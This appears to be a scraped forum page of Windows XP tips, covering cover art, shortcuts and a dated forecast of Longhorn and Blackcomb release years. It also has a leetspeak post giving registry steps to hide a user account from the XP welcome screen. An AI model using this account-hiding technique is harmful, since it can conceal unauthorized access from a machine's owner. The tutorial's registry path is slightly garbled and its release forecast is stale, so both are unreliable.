18. Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.


19. Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.


20. The next release of Windows XP, codenamed Longhorn, is due out late next year or early 2003 and won't be much to write home about. The next big release is codenamed Blackcomb and will be out in 2003/2004.

Create Hidden Admin Account In XP[Work]

s0o0o bdpplz how 2 Create Hidden Admin Account In Xp....very easy....just follow me:
Since we are going to do all the Editing in Window Registry it is Recommended to Back Up the Registry before going Further.
After you have Backed up your registry follow the Steps to Create your Hidden Account:

•First Goto Start -> Run -> Type regedit -> Enter
•In the Left Menu goto,

HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Cu rrentVersion\Winlogon\SpecialAccounts\UserList

•In the Right pane, Right click -> New -> String Value
•Right click on the new String Value and click Rename
•Type the Name of the Account you want to hide.
•Hit Enter then Right click on the String Value again and Change value to 0 which hides it. If you want it to be Visible to all Enter the Value 1.
•Now Save and Exit the Registry and Logoff.
•Goto welcome screen and Hit ctrl+alt+del twice to bring up Logon prompt
•Type hidden Accounts name and password